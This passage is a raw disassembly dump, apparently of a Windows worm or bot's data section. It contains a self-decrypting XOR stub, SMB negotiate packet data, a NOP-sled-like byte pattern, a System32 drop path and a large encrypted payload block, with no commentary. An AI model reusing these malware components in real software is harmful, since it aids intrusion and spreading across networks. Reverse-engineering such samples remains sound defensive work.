ecx, [eax+0Ch] push ecx push 0 call edx retn ; =============== S U B R O U T I N E ======================================= sub_4352AC proc near ; CODE XREF: sub_435233+25p ; .text:0043529Ep pop eax push eax retn sub_4352AC endp ; --------------------------------------------------------------------------- align 10h dword_4352B0 dd 0C0h ; DATA XREF: sub_40D70E+2Dw ; sub_40D743+5r ... ; --------------------------------------------------------------------------- loc_4352B4: ; DATA XREF: sub_40E143+2Fo jmp short loc_4352B8 ; --------------------------------------------------------------------------- loc_4352B6: ; CODE XREF: .text:loc_4352B8p jmp short loc_4352BD ; --------------------------------------------------------------------------- loc_4352B8: ; CODE XREF: .text:loc_4352B4j call loc_4352B6 loc_4352BD: ; CODE XREF: .text:loc_4352B6j pop ebx xor ecx, ecx mov cx, 0 xor cx, 0 loc_4352C9: ; CODE XREF: .text:004352CEj xor byte ptr [ebx+13h], 0 inc ebx loop loc_4352C9 ; --------------------------------------------------------------------------- dd 2 dup(0) dword_4352D8 dd 80h, 3 dup(0) ; DATA XREF: sub_417107+2Bo db 3 dup(0) byte_4352EB db 0 ; CODE XREF: sub_435233+44j dd 0Bh dup(0) dword_435318 dd 3 ; DATA XREF: sub_4186C5+1Cr dd 5, 7, 0Bh unk_435328 db 81h ; ; DATA XREF: sub_405615+Do db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 dword_435374 dd 0 ; DATA XREF: sub_40553D+44o dd 800000D4h, 0 dword_435380 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40553D+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4353B0 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40553D+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_435438 dd 7FFDF020h, 0 ; DATA XREF: sub_405123+15Ao dword_435440 dd 10FF8h ; DATA XREF: sub_405123+6Eo dword_435444 dd 10FF8h, 0 ; DATA XREF: sub_405123+5Fo byte_43544C db 90h ; DATA XREF: sub_405123+A3o db 42h, 90h, 42h db 90h dd offset dword_429040+2 align 4 off_435458 dd offset off_429530 ; DATA XREF: .text:0043121Co align 10h a_?avcatlexcept db '.?AVCAtlException@ATL@@',0 dword_435478 dd 0 ; DATA XREF: sub_40D743+66r ; sub_40D743+A1r ... dd 9908B0DFh dword_435480 dd 0 ; DATA XREF: sub_41BAF9+20o ; sub_41BAF9+36w ... dd 2 dup(0) dword_43548C dd 0 ; DATA XREF: sub_41BAF9+6r ; sub_41BAF9+15w dword_435490 dd 3Ch, 2 dup(400000h), 1, 710h, 4294E0h, 9 dup(0) ; DATA XREF: sub_4280CCo ; sub_4280CC:loc_428190o dword_4354CC dd 0 ; DATA XREF: sub_41D5E9r byte_4354D0 db 0 ; DATA XREF: sub_41D883+6o ; sub_41D92B+2Cr ... align 10h dword_4354E0 dd 4 dup(0) ; DATA XREF: sub_41D883+Do dword_4354F0 dd 0 ; DATA XREF: start-1C235w ; sub_4226C8:loc_4226DAr ... align 8 dword_4354F8 dd 0 ; DATA XREF: sub_41DC6Dr sub_41DC92r ... align 10h dword_435500 dd 0 ; DATA XREF: sub_41E530+Fw dword_435504 dd 0 ; DATA XREF: sub_41E56Fr dword_435508 dd 14AE40h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_41E830+4o ; .text:off_433150o dword_435520 dd 14AE68h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .text:00433158o byte_435538 db 90h ; DATA XREF: .text:00433168o db 0AEh, 14h, 0 dd 0FFFFFFFFh, 4 dup(0) dd 14AEB8h, 0FFFFFFFFh, 4 dup(0) dword_435568 dd 14AEE0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .text:00433180o dd 14AF08h, 0FFFFFFFFh, 4 dup(0) dd 14AF30h, 0 dd 1, 0D0h, 2 dup(0) dword_4355B0 dd 14AF58h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .text:004331A0o dword_4355C8 dd 14AF80h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .text:004331B0o dd 14AFA8h, 0FFFFFFFFh, 4 dup(0) dd 14AFD0h, 0FFFFFFFFh, 4 dup(0) dword_435610 dd 14AFF8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .text:004331D0o dd 14B020h, 0FFFFFFFFh, 4 dup(0) dd 14B048h, 0FFFFFFFFh, 4 dup(0) dword_435658 dd 0 ; DATA XREF: sub_421B9F+14Ar dword_43565C dd 2 ; DATA XREF: start-1C321w sub_41E7C5r ... dword_435660 dd 0A28h ; DATA XREF: start-1C301w start-1C2F0w dword_435664 dd 501h ; DATA XREF: start-1C2E5w dword_435668 dd 5 ; DATA XREF: start-1C318w ; sub_41E7C5+9r ... dword_43566C dd 1 ; DATA XREF: start-1C310w dword_435670 dd 1 ; DATA XREF: sub_4228FB+8Fw dword_435674 dd 3E29A0h ; DATA XREF: sub_4228FB+95w dd 0 dword_43567C dd 3E29C0h ; DATA XREF: sub_4226C8+48w ; sub_4226C8:loc_422779r ... dd 3 dup(0) off_43568C dd offset aCM_unpackerPac ; DATA XREF: sub_4228FB+37w ; "C:\\m_unpacker\\packed.exe" dd 0 byte_435694 db 0 ; DATA XREF: sub_41F59B+3Dw ; .text:00420C71r align 4 dword_435698 dd 1 ; DATA XREF: sub_41F59B:loc_41F5CFw dword_43569C dd 1 ; DATA XREF: sub_41F59B+1Cr ; sub_41F59B+9Cw dd 3 dup(0) off_4356AC dd offset sub_42037D ; DATA XREF: sub_42059D+38w ; sub_42059D+80w ... dword_4356B0 dd 77E78B61h ; DATA XREF: sub_41D732+43r ; sub_4203B6+10r ... dword_4356B4 dd 77E79B39h ; DATA XREF: sub_41D732+59r ; sub_4203B6+37r ... dword_4356B8 dd 77E72B29h ; DATA XREF: sub_420386+Br ; sub_42059D+60w ... dword_4356BC dd 0 ; DATA XREF: sub_41D0C4r ; sub_41E618+147r ... dword_4356C0 dd 0 ; DATA XREF: sub_420D24+14Cw ; sub_420FAE:loc_420FD7w ... dd 2 dup(0) dword_4356CC dd 1 ; DATA XREF: sub_421354+Er ; sub_421354+31w ... dd 0 dword_4356D4 dd 0 ; DATA XREF: sub_420D24+7r dword_4356D8 dd 0 ; DATA XREF: sub_422632+21r align 10h aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_4228FB+1Co ; .text:off_43568Co align 4 dd 3Ah dup(0) byte_4357E4 db 0 ; DATA XREF: sub_4228FB+23w align 4 dword_4357E8 dd 1 ; DATA XREF: sub_42299D+2r ; sub_42299D+24w ... align 10h dword_4357F0 dd 0 ; DATA XREF: sub_422D45:loc_422DCCr ; sub_422D45+13Fr ... align 8 dword_4357F8 dd 0 ; DATA XREF: sub_422D45:loc_422DDFr ; sub_422D45+1C4r ... dd 0Fh dup(0) dword_435838 dd 0 ; DATA XREF: sub_422D45+12Co ; sub_422D45+191o ... dword_43583C dd 77C26E79h ; DATA XREF: sub_4238CC:loc_4238F7r ; sub_4238CC+40r ... dword_435840 dd 0 ; DATA XREF: sub_423E1A+17r dword_435844 dd 77E7C706h ; DATA XREF: sub_423F72+Cr ; sub_423F72+39w ... dword_435848 dd 1 ; DATA XREF: sub_4242B5+Er ; sub_4242B5+2Ew ... dword_43584C dd 0 ; DATA XREF: .text:off_433A58o ; .text:off_433A5Co ... dword_435850 dd 0 ; DATA XREF: sub_4201B1+A2r dword_435854 dd 0 ; DATA XREF: sub_4201B1+Br dd 0Bh dup(0) dword_435884 dd 0 ; DATA XREF: sub_421354+265r ; sub_4242B5+14Ar dd 3 dup(0) dword_435894 dd 0 ; DATA XREF: sub_421354+9Dr ; sub_421354+272r ... dd 0Ah dup(0) dword_4358C0 dd 1 ; DATA XREF: sub_424A23:loc_424B8Dr ; sub_424BB3+1Dw ... dword_4358C4 dd 0 ; DATA XREF: sub_421B9F+3Dr dword_4358C8 dd 0 ; DATA XREF: sub_426724+9r ; sub_426724+38w ... dword_4358CC dd 0 ; DATA XREF: sub_426724+4Dw ; sub_426724:loc_4267E9r dword_4358D0 dd 0 ; DATA XREF: sub_426724+5Bw ; sub_426724+D6r dword_4358D4 dd 0 ; DATA XREF: sub_426724+7Bw ; sub_426724:loc_4267A4r dword_4358D8 dd 0 ; DATA XREF: sub_426724+6Cw ; sub_426724+9Cr dd 31h dup(0) dword_4359A0 dd 0 ; DATA XREF: sub_427291:loc_427313o ; sub_427291+87r dword_4359A4 dd 0 ; DATA XREF: sub_427291:loc_4272D9o ; sub_427291+4Dr dword_4359A8 dd 0 ; DATA XREF: sub_427291:loc_4272CCo ; sub_427291+40r dword_4359AC dd 0 ; DATA XREF: sub_427291:loc_4272E6o ; sub_427291+5Ar dd 4 dup(0) byte_4359C0 db 0 ; DATA XREF: sub_41BBA7+94w align 8 dword_4359C8 dd 41h dup(0) ; DATA XREF: sub_404AA9+1o dword_435ACC dd 4 dup(0) ; DATA XREF: sub_404C05+6Fo ; sub_4142D6+43Bo byte_435ADC db 0 ; DATA XREF: sub_4047DC+3Aw ; sub_4047DC+4Ao ... align 10h dd 4 dup(0) aCWindowsSystem db 'C:\WINDOWS\System32\mvwatvx.exe',0 ; DATA XREF: sub_404B0D+Co dd 39h dup(0) dword_435BF4 dd 4 dup(0) ; DATA XREF: sub_404C05+89o ; sub_4142D6+436o byte_435C04 db 0 ; DATA XREF: sub_404C05+49w ; sub_4142D6+445r align 4 word_435C08 dw 0 ; DATA XREF: sub_404C05+65w ; sub_4142D6+42Fr align 10h dword_435C10 dd 41h dup(0) ; DATA XREF: sub_404ADB+1o dword_435D14 dd 0Dh dup(0) ; DATA XREF: sub_404869+11o dword_435D48 dd 80h dup(0) ; DATA XREF: sub_4060DC+BAo ; sub_4071F6+25o dword_435F48 dd 0 ; DATA XREF: sub_4060DC+57r ; sub_406A96+4Aw ... dword_435F4C dd 0 ; DATA XREF: sub_406A96+6r ; sub_406A96+22w ... dword_435F50 dd 0 ; DATA XREF: sub_4060DC+66r ; sub_406A96+37w ... byte_435F54 db 0 ; DATA XREF: .text:0040AC29o ; .text:0040B0ADo ... align 4 dd 3 dup(0) dword_435F64 dd 0 ; DATA XREF: .text:0040B008w ; .text:loc_40B085w ... dword_435F68 dd 0 ; DATA XREF: .text:0040AFBCr ; .text:loc_40B033r ... dword_435F6C dd 0 ; DATA XREF: .text:0040AFA7r ; .text:0040AFB5w ... dword_435F70 dd 0 ; DATA XREF: sub_409BDA:loc_409EE2w ; sub_409BDA:loc_409F9Eo ... dword_435F74 dd 0 ; DATA XREF: sub_409BDA:loc_409EEAw ; sub_409BDA:loc_409FA7o ... dword_435F78 dd 0 ; DATA XREF: sub_409BDA+300w ; sub_409BDA+3BBo ... align 10h dword_435F80 dd 0 ; DATA XREF: sub_409BDA+A4r ; sub_409BDA+C0r ... dd 80h dup(0) dword_436184 dd 81h dup(0) ; DATA XREF: sub_409BDA+CBo dword_436388 dd 0 ; DATA XREF: sub_409BDA+1B3o ; sub_40B8D4+82o ... dd 2C1h dup(0) dword_436E90 dd 102h dup(0) ; DATA XREF: .text:0040A5A5o ; .text:0040B2EEo ... dword_437298 dd 52C3BF2Fh ; DATA XREF: sub_40D70E+2w ; sub_40D70E+8o ... dword_43729C dd 76D9C2FFh ; DATA XREF: sub_40D743+4Br dd 351AF8E3h, 16535B25h, 9F855AD6h, 16B00D28h, 5BFD9927h dd 3DCAA627h, 6DBD1FF7h, 0B7D8388Bh, 481DAC6Dh, 4FC44622h dd 7C63071Bh, 0D17C7F3Bh, 272BCFD7h, 0D15384F3h, 4E18E6BDh dd 0A8B4965Dh, 0A423FBDCh, 95E05514h, 0F1B9B885h, 0DF2D2676h dd 35CFF8CEh, 2ED79CCFh, 389C1B1h, 14E11A87h, 0CCF36DECh dd 0A0E2BE3Dh, 0E14E59BFh, 0EE7186EDh, 0A47706F1h, 47A6FCB6h dd 4C78AF13h, 0FB284E61h, 6F4A86Fh, 83B030CCh, 748AE842h dd 91D9B23Eh, 0D6BE9AD4h, 477C266Fh, 0C7899C81h, 394A4AABh dd 7C0680E6h, 6B1EC020h, 0BF7E45D2h, 0D2E7ECA0h, 0CED7359Eh dd 7AF9A734h, 9364AC7Ah, 0F88123F9h, 0CD570711h, 0BFF0E6CDh dd 1726EF5Eh, 91D87DABh, 391BEE78h, 3915D1D0h, 0E93E2E65h dd 69D1837Eh, 8234749Eh, 0ED92870Bh, 3CCFBEF0h, 3FBB6FD1h dd 7A4C6AA8h, 65A7B418h, 0E47F04E6h, 0D6B0D1CBh, 2287F96Dh dd 2629150Bh, 49E7C342h, 381297F4h, 85C14630h, 1E43A4B3h dd 5A04F7C7h, 0F32C1FC6h, 0DF9A7D9Eh, 9DDEFA12h, 0DE142FB2h dd 0B81D6BB4h, 7001326Ah, 343211A2h, 0B72340E5h, 0E3D6A2E4h dd 9A46AE28h, 563A4E55h, 0E4F2E97Eh, 0FAC5056Bh, 0EAAD2498h dd 0ADD6B8DFh, 322F33BFh, 0E8E752ABh, 9CB9E845h, 6949D244h dd 3007BF17h, 4C76A771h, 5F856B10h, 0B7D3A31Dh, 38D10D94h dd 0FFFF7187h, 0C682572Eh, 42CB2B73h, 0DFB804B4h, 5CF30F52h dd 735545Ah, 0E0D55B92h, 697CD76Bh, 0FC6B7649h, 140BFFECh dd 9B31C797h, 168EA03Bh, 58B2A54Dh, 4FE53F4Bh, 9CBDA5A2h dd 3F1AAF1Fh, 9E749423h, 0AA59C242h, 0C03184CBh, 94D1925h dd 1304E052h, 80C1D631h, 8089D602h, 0F79A2AB5h, 1826CFE7h dd 191FA338h, 0E054E536h, 10752920h, 0F54A6464h, 0B097B36Ah dd 0E37ADE8Dh, 455DC294h, 0B861AC91h, 6345C777h, 3B430758h dd 599374Fh, 0B6598FA8h, 0BB43826Eh, 99FC98ADh, 0F4D6B543h dd 4827F1Ah, 7B83B8F6h, 712EF501h, 2FC734D7h, 9DCDEC62h dd 1A26B19Fh, 0E4ED7757h, 6D8D824Ah, 7BBFB399h, 92BE2059h dd 30ABFCB4h, 0A2D14E67h, 31FE83C7h, 86031648h, 75D2F8F7h dd 7800987Ch, 77B0B126h, 0E51BD68h, 7CF177B6h, 9570CC59h dd 0FCFA4C2Ch, 55B89EE1h, 334276B0h, 766231ACh, 9C236A48h dd 7396594Fh, 0BC222711h, 36E8B3B6h, 0AD42A780h, 67372EC5h dd 1D22CD9h, 0E149F3A5h, 7C488B8Eh, 7A6D001Bh, 17871E5Dh dd 0A3177A50h, 85F9896Eh, 0B20FE9DFh, 697BF6E1h, 0A0B10340h dd 33B08DDAh, 0EF13C103h, 3E9C3B3Eh, 3237DDA9h, 8855DE1h dd 0DBB0B428h, 104E50EBh, 0D0393101h, 0E3EC9Fh, 16DC774Ch dd 7D0FABBFh, 679E0741h, 7601ACCAh, 497A9292h, 950B3FCBh dd 43A6A4C5h, 888EF030h, 0AB01F709h, 2138951Ch, 7CB8B62Eh dd 1B6A1550h, 887FFCADh, 757E3516h, 0A20233E9h, 24B639ECh dd 0B243F94Ch, 59D2376Ch, 599C6D70h, 79959FA3h, 0EB059402h dd 0A1C80010h, 0D05DC9C4h, 340D86B0h, 69A510CAh, 0B049A10h dd 0C9675F5Fh, 7E6D7F3Bh, 79B0A522h, 69BC68FBh, 0C81416Ch dd 5C08AACDh, 7B675B75h, 9C4F7DEAh, 878062A4h, 974A6781h dd 0EBD028F4h, 6B2C905Fh, 118E54B9h, 126A3AB6h, 9DB60FDFh dd 1BBAD6F2h, 0F8487B83h, 0EAE80C33h, 7FDD4789h, 6BA5406Eh dd 0BEB5E7E0h, 71E643AFh, 296162F7h, 587AE971h, 81A7868Ch dd 0E859605Eh, 0D2B7636Eh, 0DDBDC4EDh, 6A2FAF41h, 1263A145h dd 0CD920235h, 6EFCC425h, 0B0045578h, 0F804BA73h, 3184744Dh dd 0E9D998DFh, 139FE1CAh, 0B6EA922Fh, 1D4F9169h, 8D598CC0h dd 56CA98BBh, 0A37B6A7Ch, 97486F3Fh, 5D16A59Ch, 6BBC0DDEh dd 2D260361h, 0F37F64Ch, 3C8E079Ah, 0B81544BCh, 4B1DAD20h dd 675F565Ah, 0E96FAAEh, 0F86AA386h, 982EE3Fh, 1834AD4Eh dd 0B07A98A7h, 26CF49Ch, 0A69F86BEh, 61FEC75Dh, 0A1B19C0Bh dd 6F6A485Ah, 93930323h, 0EBAEA9F1h, 5D2F2446h, 0D7AE9235h dd 52D0A177h, 0E158D51Bh, 6DDD6C01h, 0C5C59AFEh, 26F02C6Eh dd 0B9663834h, 1F329D98h, 0BCEECBFCh, 4DB939CCh, 0A1F63E75h dd 39BC23B6h, 0BC025C20h, 84CD77B9h, 0A7515EFBh, 5A3CCEC9h dd 4D999056h, 93DD0FFDh, 8F1EA16Ah, 427F4EC8h, 0ACAE952Dh dd 7F0D37E5h, 0D4771880h, 0D91F6D7Ch, 0B52A93E4h, 0A51378F8h dd 921E869Ah, 0B3415C17h, 0A13DD9D0h, 4A18D467h, 6C99E5AAh dd 0BA84CF27h, 3BBE01B2h, 350D5ADh, 52496785h, 9775B06Fh dd 92467DF4h, 32657DE2h, 0DA720FDBh, 0C6332429h, 4444F31Fh dd 8A04CA93h, 0A865ACE9h, 852D3584h, 0F7B9BB32h, 17F77482h dd 662A3362h, 8A22F93Fh, 4607D73Eh, 0D9FD3BCFh, 0DF72C5C4h dd 76EB1835h, 0ABF96692h, 361F14BAh, 0DE52662Ah, 8D0247E1h dd 5058F9B9h, 1772EADEh, 41BBDF8Eh, 0A5CA419Ch, 0E0474892h dd 39270445h, 9B1C2A40h, 54E9EF26h, 0C5968756h, 0DE9F032Dh dd 0C3CAF9E2h, 291F4BFCh, 7BB8ECC5h, 2EDBED1Ch, 675A2451h dd 0F368075Fh, 86AA2738h, 0A8456E86h, 21F8266h, 397DBA3Bh dd 8F9EDCC1h, 2DCE8C9h, 2D4EA050h, 8D00D5D8h, 84E021F5h dd 99C3EC96h, 9D42D9AEh, 3C5250AEh, 975BA584h, 39E8C672h dd 88F829FAh, 0AFCC48E7h, 9F5419AFh, 0BB11A889h, 114CB8EEh dd 0B8C5EFBDh, 0BC7ACCB6h, 9A8F2C4Fh, 93F47EA5h, 96598FDEh dd 0A5DE4BAAh, 2B1460Fh, 110246CFh, 2BFAD44Dh, 7372C874h dd 0F9B909BFh, 2895FF89h, 208174A5h, 0D64992A2h, 24F66BCEh dd 7E553D46h, 0FAF3468Ch, 0AAFAB33Bh, 2D39F48Eh, 33535C8Fh dd 44785331h, 0C7554349h, 319748Ch, 0EA698211h, 40C4109Fh dd 0E24A2BBFh, 4C112265h, 5CFDC524h, 0EB434532h dword_4378C8 dd 9D4A74A5h ; DATA XREF: sub_40D743+DEr dword_4378CC dd 7AEA2010h ; DATA XREF: sub_40D743+6Dr dd 0D335503Bh, 603D769Dh, 0C11AAA94h, 9DBC15B4h, 107AE3AFh dd 3D4058DDh, 6DE9FC36h, 9FAF094Fh, 3F5F4C44h, 3B53B047h dd 8D78508Ch, 1BD96CE9h, 0AB5B7BDh, 0ABA9E420h, 38FE6819h dd 0F6928A57h, 90B907E8h, 54600D39h, 6021B211h, 6E56F2AAh dd 0BE808C57h, 0FA2A0A0Ah, 572BB668h, 4534F9B5h, 0DADCAABEh dd 7431340Bh, 9D8B83E2h, 0AFC0FFAh, 66AF0726h, 0F2BE34C2h dd 0AD8F5EFEh, 38ED7F9h, 0E47EBD1Ah, 0B5B6050h, 0EAF36104h dd 3EDB5895h, 0E0ECDF49h, 0C6DC7633h, 0F5A05487h, 0F5245300h dd 311D73C7h, 492DF9E1h, 6DDAFDEFh, 7986B7A3h, 0C2778EE6h dd 7F55D7A1h, 122DAC0h, 236FFAEEh, 2C677B33h, 0EE02F207h dd 0D511E0FCh, 0F1D972C6h, 0B07EC280h, 0BC560BF2h, 0C4DAC9C2h dd 532CCEA7h, 5E9CA4E6h, 0AD833BAEh, 1C5B62ACh, 210B3E03h dd 0CEC33EE6h, 0EEC88934h, 0AD71449Fh, 0E69E6657h, 40B41BC4h dd 0DDD39360h, 1E52ACE8h, 0CE642438h, 6F575FE5h, 6ABDF4FCh dd 0D592DF8Ch, 5CEF68A1h, 549ECC10h, 2384BA20h, 859E910Eh dd 990B1662h, 1BC11B02h, 425A5DD7h, 1A9B9FAFh, 1DB71F03h dd 177DD6DEh, 0D86684A3h, 0C8A08FBDh, 28406C28h, 90E2957Dh dd 8149A87Eh, 0C5E55A16h, 7A2A57ECh, 0D1D2E5Ch, 7FC2344Ah dd 82A504Fh, 5A9F329Ah, 788B3463h, 1A679B7Dh, 0C487DA6Fh dd 0E217123Eh, 458F07Ah, 3DE2BF5Eh, 0E0978224h, 6228FCE6h dd 7B2B378Fh, 0C4ABBB16h, 65157868h, 0B0F2A635h, 9E02322Dh dd 16AE4AFDh, 3723D2Ah, 0DC38A3B5h, 328253BAh, 8A01359Eh dd 0CDE387F2h, 0E4702C3Dh, 0A49794CBh, 0B544EAC0h, 94224A02h dd 61DDC5A9h, 509E4CC8h, 37BCDC95h, 0A67EEE3Eh, 14E078DCh dd 0EEFF36CDh, 1CBFF950h, 33501940h, 936DB6C5h, 0D1A9FE07h dd 4FBFC09Fh, 0EFFC5D3Dh, 480A2123h, 9B7E8477h, 0AC8E46BBh dd 6DD2B539h, 295F06D4h, 1B9D2FF6h, 0A522EF50h, 0C2EB6532h dd 0A53A91E1h, 0BC834705h, 27EE9C4h, 4998FE1Fh, 7870E7C2h dd 8D3FD0ACh, 8433F509h, 96F4BCE2h, 0C6E14AD1h, 6E690CF7h dd 78B1716Ah, 98E7107Fh, 98E400C4h, 0C6A90AA4h, 0B9652925h dd 972B3778h, 0E00B03E3h, 0AB8541E3h, 96279E16h, 8750321Ah dd 0CA281ADAh, 93F937BAh, 0D7035399h, 3475829Ah, 9B198336h dd 60521DB6h, 220E239Ch, 377A49BAh, 0F82BAF6Eh, 0C1C61B7h dd 96520651h, 4BF8AE12h, 14DF13BFh, 187367F5h, 0E863600Dh dd 0A2D2357Ch, 14794A62h, 73342C1Ah, 56BCF819h, 5B0EAB1Eh dd 0E9FFE215h, 0AB49FDCBh, 0EC3EBDD1h, 0B9AFFA46h, 2E78F287h dd 211F0DA2h, 8BFC8DBEh, 0BD34472Bh, 30805964h, 6670D50Bh dd 0C8CF4AB0h, 3ACB1C14h, 9E54F378h, 0ADDF8DE2h, 3303BE8Ch dd 0F7432439h, 33401718h, 3DB53C00h, 432B1827h, 0F66C6A40h dd 421E5AFFh, 34E815BCh, 4796DABEh, 7ADFC508h, 0A901CC86h dd 0FA6CB096h, 503435DEh, 0EF0372EEh, 350F1D6Ch, 453A4A87h dd 0E6F8FD39h, 93BA2A5Fh, 0EF0619F0h, 31B4BFC5h, 99FEB5D7h dd 0C6757EE5h, 21CEAA9Ch, 245FEBCBh, 0F33C938h, 0C2210B32h dd 0DF312CDh, 1881D264h, 0AAA4B811h, 167F7313h, 82CF129Ah dd 7A263F20h, 9BDD2BEh, 0FF486176h, 2895233Ch, 0B67BABF5h dword_437C54 dd 2D231BEDh ; DATA XREF: sub_40D70E+26o ; sub_40D743+B6o ... dword_437C58 dd 400000h ; DATA XREF: sub_4142D6+201w dd 27h dup(0) dword_437CF8 dd 103h dup(0) ; DATA XREF: sub_417F2F+5o dword_438104 dd 0FCh ; DATA XREF: sub_404E2C+43r ; sub_4142D6+236w ... dword_438108 dd 0 ; DATA XREF: .text:0040B152w ; sub_40B45D+36w ... dword_43810C dd 0 ; DATA XREF: .text:loc_40A6F0r ; .text:loc_40AC48r ... dword_438110 dd 0 ; DATA XREF: sub_40F4FC+10r ; sub_40F4FC:loc_40F536w ... dword_438114 dd 0 ; DATA XREF: sub_40F839+19r ; sub_40F839+4Cw ... dword_438118 dd 6C37h ; DATA XREF: sub_4048B7o ; sub_4142D6+225w dword_43811C dd 0 ; DATA XREF: sub_4142D6+22Aw dd 2 dup(0) dword_438128 dd 3E3788h ; DATA XREF: sub_406B3F:loc_406F5Dr ; sub_427F70:loc_427F9Fw align 10h off_438130 dd offset off_430CE4 ; DATA XREF: sub_427FA5+1o ; sub_4280CC:loc_4280F0o dd 1, 37Ch, 0FFFFFFFFh dword_438140 dd 6C37h, 3 dup(0) ; DATA XREF: sub_4016AD+8o ; sub_4098F3+43o ... dword_438150 dd 0C4h ; DATA XREF: sub_407F57+3r ; sub_407F57+1Cr ... dword_438154 dd 4 dup(0) ; DATA XREF: sub_404E2C+39o ; sub_40818D+16o ... dword_438164 dd 0 ; DATA XREF: .text:0040A701o ; .text:0040A737o ... dword_438168 dd 0 ; DATA XREF: .text:0040A4D6r ; .text:0040A70Br dword_43816C dd 0 ; DATA XREF: .text:0040A4CFr ; .text:0040A718r dd 0 dword_438174 dd 4 dup(0) ; DATA XREF: .text:0040A53Ao ; .text:0040BCAAo ... align 8 dword_438188 dd 4 dup(0) ; DATA XREF: .text:0040AD3Ao ; sub_40B78B+C0o ... dd 0C8h dword_43819C dd 0D0h ; DATA XREF: sub_405664+10r ; sub_405664+32r ... dd 4 dup(0) dword_4381B0 dd 0 ; DATA XREF: sub_405664+29r ; sub_4056EB+29r ... dword_4381B4 dd 0 ; DATA XREF: sub_40E47E+1Ar dword_4381B8 dd 4 dup(0) ; DATA XREF: .text:004086DFo ; sub_40C201+36o ... dd 0D4h dword_4381CC dd 3E49E8h ; DATA XREF: .text:loc_428084w dword_4381D0 dd 0DCh ; DATA XREF: sub_416071+12Cr ; sub_416071+18Fr ... dword_4381D4 dd 9 dup(0) ; DATA XREF: sub_416071+138o ; .text:0042808Bo ... dword_4381F8 dd 2 dup(0) ; DATA XREF: sub_40553D+66o dword_438200 dd 0 ; DATA XREF: sub_4247FF+1Aw ; sub_424828+84r ... dword_438204 dd 3E2778h ; DATA XREF: sub_420427+97r ; sub_421A4C+Er ... dword_438208 dd 0 ; DATA XREF: sub_4247FF+15w ; sub_424A23+F2w ... dd 5 dup(0) byte_438220 db 0 ; DATA XREF: sub_4247FF+6o ; sub_424A23+52o ... byte_438221 db 0 ; DATA XREF: sub_42278F+47r ; sub_42278F+11Dr ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_438324 dd 4E4h ; DATA XREF: sub_4247FF+10w ; sub_424828+16r ... align 10h word_438330 dw 0 ; DATA XREF: sub_4247FF+1Fo ; sub_424A23+109o ... align 10h byte_438340 db 0 ; DATA XREF: sub_424828:loc_42493Aw ; sub_424828:loc_424957w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_438440 dd 0 ; DATA XREF: sub_4201B1+79r dword_438444 dd 0 ; DATA XREF: sub_4201B1+29r dword_438448 dd 0 ; DATA XREF: sub_4201B1+4Cr dword_43844C dd 20h ; DATA XREF: sub_4210E3+Fr ; sub_422197+Fr ... dd 4 dup(0) dword_438460 dd 3E1F28h ; DATA XREF: sub_41F714+ACr ; .text:00420C43r ... dword_438464 dd 3Fh dup(0) ; DATA XREF: sub_422ABF+9Ao dword_438560 dd 3E2F80h ; DATA XREF: .text:00420BEEw ; .text:00420C07w ... dd 7 dup(0) dword_438580 dd 400h dup(0) ; DATA XREF: .text:off_433590o ; .text:00433598o dword_439580 dd 200h ; DATA XREF: .text:00420BC3r ; .text:loc_420BDDw ... dword_439584 dd 1 ; DATA XREF: .text:0041CF00r ; .text:0041D0E0r ... dword_439588 dd 1 ; DATA XREF: .text:0042099Cw ; .text:004209C7w dword_43958C dd 1 ; DATA XREF: sub_4226C8+9Fw dword_439590 dd 3E2EF4h ; DATA XREF: sub_41C4AE+Dr ; sub_41C4AE:loc_41C504r ... dword_439594 dd 3E2EF8h ; DATA XREF: sub_41C4AE+1r ; sub_41C4AE+15r ... dword_439598 dd 1 ; DATA XREF: sub_42266B+4r ; sub_4226C8+3r ... dword_43959C dd 0 ; DATA XREF: sub_41E9B4+21w ; sub_41EA27+21Cr ... dword_4395A0 dd 0 ; DATA XREF: sub_41E9B4+28w ; sub_41E9FCr ... dword_4395A4 dd 0 ; DATA XREF: sub_41E9B4+15w ; sub_41E9FC+8r ... dword_4395A8 dd 0 ; DATA XREF: sub_41D01D+18r 